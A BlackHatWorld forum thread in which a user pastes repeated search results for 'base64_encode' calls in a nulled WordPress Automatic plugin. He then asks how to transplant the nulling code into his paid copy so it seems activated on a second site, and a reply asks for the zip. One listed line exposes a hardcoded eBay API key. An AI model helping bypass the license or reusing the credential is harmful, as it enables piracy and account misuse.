C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.ebay copy.php (3 hits)
Line 23: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 332: $data = base64_encode(serialize ( $itm ));
Line 371: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.ebay.php (4 hits)
Line 31: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 413: $data = base64_encode(serialize ( $itm ));
Line 452: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 1060: $hash = base64_encode( $wp_automatic_ebay_app . ':' . $wp_automatic_ebay_app_secret );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.envato.php (2 hits)
Line 26: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 340: $data = ( base64_encode( serialize ( $itm ) ) );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.ezinearticles.php (1 hit)
Line 17: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.facebook.php (1 hit)
Line 260: update_post_meta ( $camp->camp_id, 'wp_automatic_cache', base64_encode ( $exec ) );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.feeds.php (1 hit)
Line 78: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.flicker.php (1 hit)
Line 24: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.instagram.php (2 hits)
Line 392: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 751: $data = base64_encode ( serialize ( $itm ) );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.itunes.php (2 hits)
Line 22: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 335: $data = ( base64_encode( serialize ( $itm ) ) );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.php (2 hits)
Line 198: $campaign->camp_general = base64_encode ( $campaign->camp_general );
Line 280: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.pinterest.php (2 hits)
Line 168: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 450: $data = base64_encode(serialize ( $itm ));
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.reddit.php (2 hits)
Line 16: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 243: $data = (base64_encode ( serialize ( $item ) ));
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.single.php (1 hit)
Line 11: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.soundcloud.php (2 hits)
Line 137: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 385: $data = base64_encode ( serialize ( $itm ) );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.tiktok.php (2 hits)
Line 238: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 488: $data = base64_encode ( serialize ( $itm ) );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.twitter.php (3 hits)
Line 25: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 71: $concatedBase64 = base64_encode($concated);
Line 349: $data = base64_encode(serialize ( $itm ));
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.vimeo.php (2 hits)
Line 144: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 305: $data = base64_encode(serialize ( $itm ));
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.walmart.php (2 hits)
Line 18: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 250: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.youtube.php (3 hits)
Line 24: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 419: $general = base64_encode ( serialize ( $general ) );
Line 440: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\metabox_time.php (1 hit)
Line 28: if( stristr($res->camp_general, 'a:') ) $res->camp_general=base64_encode($res->camp_general);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\plugin-updates\Puc\v4p9\OAuthSignature.php (1 hit)
Line 71: $parameters['oauth_signature'] = base64_encode(hash_hmac('sha1', $stringToSign, $secret, true));
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\plugin-updates\Puc\v4p9\Vcs\GitHubApi.php (1 hit)
Line 437: return 'Basic ' . base64_encode($this->userName . ':' . $this->accessToken);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\post_type.php (1 hit)
Line 26: $icon = 'data:image/svg+xml;base64,' . base64_encode('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024"><path fill="#a7aaad" d="M413.802 191.458c-111.928 20.093-222.021 75.366-298.293 149.826-45.215 43.403-62.59 66.237-84.971 110.999-23.763 47.050-32.892 94.1-26.028 137.503 18.281 120.151 133.856 201.452 338.502 239.373 44.309 8.223 70.36 10.058 166.748 10.058 99.582 0.453 121.51-0.906 172.23-10.058 165.819-29.698 279.582-94.1 320.674-181.359 83.589-175.877-118.316-408.386-396.516-456.818-49.791-8.676-142.985-8.223-192.323 0.453zM342.083 495.709c45.215 16.899 80.395 51.173 80.395 79.036 0 30.604-29.698 46.597-71.719 38.374-68.525-12.799-126.992-64.878-113.287-100.511 11.87-31.51 48.885-36.992 104.611-16.899zM771.491 493.421c39.28 24.669 7.77 80.848-62.137 108.711-52.532 21.022-95.029 15.54-106.446-14.611-10.058-26.957 18.734-64.402 67.143-86.806 43.403-19.64 78.107-22.381 101.417-7.317z"></path>
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\p_meta.php (1 hit)
Line 225: $camp_general = base64_encode(serialize($camp_general));
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\p_metabox.php (1 hit)
Line 148: if( stristr($res->camp_general, 'a:') ) $res->camp_general=base64_encode($res->camp_general);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\p_options.php (1 hit)
Line 8: $state = base64_encode($actual_link);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\test_ebay.php (1 hit)
Line 21: $hash = base64_encode('Mohammed-mytestAP-PRD-1d7490b6a-c6a9fb25:PRD-d7490b6aba63-119a-4cdc-9433-0e6d');
Search "base64_encode" (51 hits in 29 files)
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\campaignsProcessor.php (2 hits)
Line 96: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
Line 165: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.amazon.less.php (2 hits)
Line 14: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 471: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.amazon.php (2 hits)
Line 16: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 555: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.careerjet.php (2 hits)
Line 16: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
 
Line 202: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.clickbank.php (1 hit)
Line 20: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.craigslist.php (2 hits)
Line 18: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 187: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.dailymotion.php (3 hits)
Line 20: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 217: $data = ( base64_encode( serialize ( $itm ) ) );
Line 243: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.ebay.php (3 hits)
Line 22: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 259: $data = base64_encode(serialize ( $itm ));
Line 298: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.envato.php (2 hits)
Line 26: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 340: $data = ( base64_encode( serialize ( $itm ) ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.facebook.php (1 hit)
Line 220: update_post_meta($camp->camp_id, 'wp_automatic_cache', base64_encode($exec));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.feeds.php (1 hit)
Line 75: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.flicker.php (1 hit)
Line 24: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.instagram.php (2 hits)
Line 431: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 703: $data = base64_encode( serialize ( $itm ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.itunes.php (2 hits)
Line 22: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 335: $data = ( base64_encode( serialize ( $itm ) ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.php (2 hits)
Line 193: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
Line 274: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.pinterest.php (2 hits)
Line 168: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 444: $data = base64_encode(serialize ( $itm ));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.reddit.php (2 hits)
Line 18: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 236: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.single.php (1 hit)
Line 12: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.soundcloud.php (2 hits)
Line 150: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 344: $data = base64_encode(serialize ( $itm ));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.twitter.php (3 hits)
Line 25: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 71: $concatedBase64 = base64_encode($concated);
Line 331: $data = base64_encode(serialize ( $itm ));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.vimeo.php (2 hits)
Line 144: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 305: $data = base64_encode(serialize ( $itm ));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.walmart.php (2 hits)
Line 18: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 250: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.youtube.php (3 hits)
Line 26: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 368: $general = base64_encode(serialize($general));
Line 397: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\inc\aws_signed_request.php (1 hit)
Line 76: $signature = base64_encode(hash_hmac("sha256", $string_to_sign, $private_key, True));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\metabox_time.php (1 hit)
Line 28: if( stristr($res->camp_general, 'a:') ) $res->camp_general=base64_encode($res->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\plugin-updates\Puc\v4p8\OAuthSignature.php (1 hit)
Line 71: $parameters['oauth_signature'] = base64_encode(hash_hmac('sha1', $stringToSign, $secret, true));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\p_meta.php (1 hit)
Line 223: $camp_general = base64_encode(serialize($camp_general));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\p_metabox.php (1 hit)
Line 147: if( stristr($res->camp_general, 'a:') ) $res->camp_general=base64_encode($res->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\p_options.php (1 hit)
Line 8: $state = base64_encode($actual_link);
Search "base64_encode" (61 hits in 34 files)
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\campaignsProcessor.php (2 hits)
Line 110: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
Line 243: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.amazon.less.php (2 hits)
Line 20: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 469: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.amazon.php (2 hits)
Line 16: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 514: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.careerjet.php (2 hits)
Line 16: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 203: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.clickbank.php (1 hit)
Line 20: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.craigslist.php (3 hits)
Line 18: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 197: $data = ( base64_encode( serialize ( $item ) ) );
Line 236: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.dailymotion.php (3 hits)
Line 20: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 217: $data = ( base64_encode( serialize ( $itm ) ) );
Line 243: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.ebay copy.php (3 hits)
Line 23: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 332: $data = base64_encode(serialize ( $itm ));
Line 371: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.ebay.php (4 hits)
Line 31: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 413: $data = base64_encode(serialize ( $itm ));
Line 452: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 1060: $hash = base64_encode( $wp_automatic_ebay_app . ':' . $wp_automatic_ebay_app_secret );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.envato.php (2 hits)
Line 26: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 340: $data = ( base64_encode( serialize ( $itm ) ) );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.ezinearticles.php (1 hit)
Line 17: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.facebook.php (1 hit)
Line 260: update_post_meta ( $camp->camp_id, 'wp_automatic_cache', base64_encode ( $exec ) );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.feeds.php (1 hit)
Line 78: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.flicker.php (1 hit)
Line 24: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.instagram.php (2 hits)
Line 392: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 751: $data = base64_encode ( serialize ( $itm ) );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.itunes.php (2 hits)
Line 22: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 335: $data = ( base64_encode( serialize ( $itm ) ) );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.php (2 hits)
Line 198: $campaign->camp_general = base64_encode ( $campaign->camp_general );
Line 280: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.pinterest.php (2 hits)
Line 168: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 450: $data = base64_encode(serialize ( $itm ));
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.reddit.php (2 hits)
Line 16: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 243: $data = (base64_encode ( serialize ( $item ) ));
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.single.php (1 hit)
Line 11: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.soundcloud.php (2 hits)
Line 137: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 385: $data = base64_encode ( serialize ( $itm ) );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.tiktok.php (2 hits)
Line 238: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 488: $data = base64_encode ( serialize ( $itm ) );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.twitter.php (3 hits)
Line 25: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 71: $concatedBase64 = base64_encode($concated);
Line 349: $data = base64_encode(serialize ( $itm ));
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.vimeo.php (2 hits)
Line 144: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 305: $data = base64_encode(serialize ( $itm ));
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.walmart.php (2 hits)
Line 18: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 250: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\core.youtube.php (3 hits)
Line 24: $camp->camp_general = base64_encode ( $camp->camp_general );
Line 419: $general = base64_encode ( serialize ( $general ) );
Line 440: $camp->camp_general = base64_encode ( $camp->camp_general );
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\metabox_time.php (1 hit)
Line 28: if( stristr($res->camp_general, 'a:') ) $res->camp_general=base64_encode($res->camp_general);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\plugin-updates\Puc\v4p9\OAuthSignature.php (1 hit)
Line 71: $parameters['oauth_signature'] = base64_encode(hash_hmac('sha1', $stringToSign, $secret, true));
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\plugin-updates\Puc\v4p9\Vcs\GitHubApi.php (1 hit)
Line 437: return 'Basic ' . base64_encode($this->userName . ':' . $this->accessToken);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\post_type.php (1 hit)
Line 26: $icon = 'data:image/svg+xml;base64,' . base64_encode('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024"><path fill="#a7aaad" d="M413.802 191.458c-111.928 20.093-222.021 75.366-298.293 149.826-45.215 43.403-62.59 66.237-84.971 110.999-23.763 47.050-32.892 94.1-26.028 137.503 18.281 120.151 133.856 201.452 338.502 239.373 44.309 8.223 70.36 10.058 166.748 10.058 99.582 0.453 121.51-0.906 172.23-10.058 165.819-29.698 279.582-94.1 320.674-181.359 83.589-175.877-118.316-408.386-396.516-456.818-49.791-8.676-142.985-8.223-192.323 0.453zM342.083 495.709c45.215 16.899 80.395 51.173 80.395 79.036 0 30.604-29.698 46.597-71.719 38.374-68.525-12.799-126.992-64.878-113.287-100.511 11.87-31.51 48.885-36.992 104.611-16.899zM771.491 493.421c39.28 24.669 7.77 80.848-62.137 108.711-52.532 21.022-95.029 15.54-106.446-14.611-10.058-26.957 18.734-64.402 67.143-86.806 43.403-19.64 78.107-22.381 101.417-7.317z"></path>
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\p_meta.php (1 hit)
Line 225: $camp_general = base64_encode(serialize($camp_general));
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\p_metabox.php (1 hit)
Line 148: if( stristr($res->camp_general, 'a:') ) $res->camp_general=base64_encode($res->camp_general);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\p_options.php (1 hit)
Line 8: $state = base64_encode($actual_link);
C:\Users\0\Downloads\wp-automatic-3.55.1\wp-automatic\test_ebay.php (1 hit)
Line 21: $hash = base64_encode('Mohammed-mytestAP-PRD-1d7490b6a-c6a9fb25:PRD-d7490b6aba63-119a-4cdc-9433-0e6d');
Search "base64_encode" (51 hits in 29 files)
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\campaignsProcessor.php (2 hits)
Line 96: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
Line 165: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.amazon.less.php (2 hits)
Line 14: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 471: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.amazon.php (2 hits)
Line 16: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 555: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.careerjet.php (2 hits)
Line 16: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 202: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.clickbank.php (1 hit)
Line 20: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.craigslist.php (2 hits)
Line 18: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 187: $data = ( base64_encode( serialize ( $item ) ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.dailymotion.php (3 hits)
Line 20: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 217: $data = ( base64_encode( serialize ( $itm ) ) );
Line 243: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.ebay.php (3 hits)
Line 22: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 259: $data = base64_encode(serialize ( $itm ));
Line 298: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.envato.php (2 hits)
Line 26: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 340: $data = ( base64_encode( serialize ( $itm ) ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.facebook.php (1 hit)
Line 220: update_post_meta($camp->camp_id, 'wp_automatic_cache', base64_encode($exec));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.feeds.php (1 hit)
Line 75: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.flicker.php (1 hit)
Line 24: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.instagram.php (2 hits)
Line 431: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 703: $data = base64_encode( serialize ( $itm ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.itunes.php (2 hits)
Line 22: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 335: $data = ( base64_encode( serialize ( $itm ) ) );
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.php (2 hits)
Line 193: if( stristr($campaign->camp_general, 'a:') ) $campaign->camp_general=base64_encode($campaign->camp_general);
Line 274: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.pinterest.php (2 hits)
Line 168: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 444: $data = base64_encode(serialize ( $itm ));
C:\Users\0\Downloads\WordPress Automatic Plugin 3.46.11\core.reddit.php (2 hits)
Line 18: if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
Line 236: $data = ( base64_encode( serialize ( $item ) ) );
 
I can't paste all the code on here I get errors maybe too many characters
 
So I gave up and bought the plugin it was only $39

However, I would like to use the same plugin on another website but the license is only for 1 website
Would It be possible to find the section that was nulled in the dodgy one I downloaded and add the bit of code to null the one I bought ie make it seem activated
 
CFT said:
So I gave up and bought the plugin it was only $39

However, I would like to use the same plugin on another website but the license is only for 1 website
Would It be possible to find the section that was nulled in the dodgy one I downloaded and add the bit of code to null the one I bought ie make it seem activated
Click to expand...
can you share the original .zip file?
 
Advertise on BHW
You must log in or register to reply here.
Sign up now!

Main Menu

Home Main Forum List Black Hat SEO White Hat SEO BHW Newbie Guide Blogging Black Hat Tools Social Media Downloads

Marketplace

Account Selling Content / Copywriting EBooks / Methods Hosting Misc Proxies For Sale SEO - Link building SEO - Packages Social Media Social Media - Panels Web Design More

Making Money

Affiliate Programs Hire a Freelancer IM Journeys Making Money Pay Per Click Site Flipping Want to Buy

BlackHat World

Dispute Resolution Forum Suggestions & Feedback Introductions Lounge
Back
Top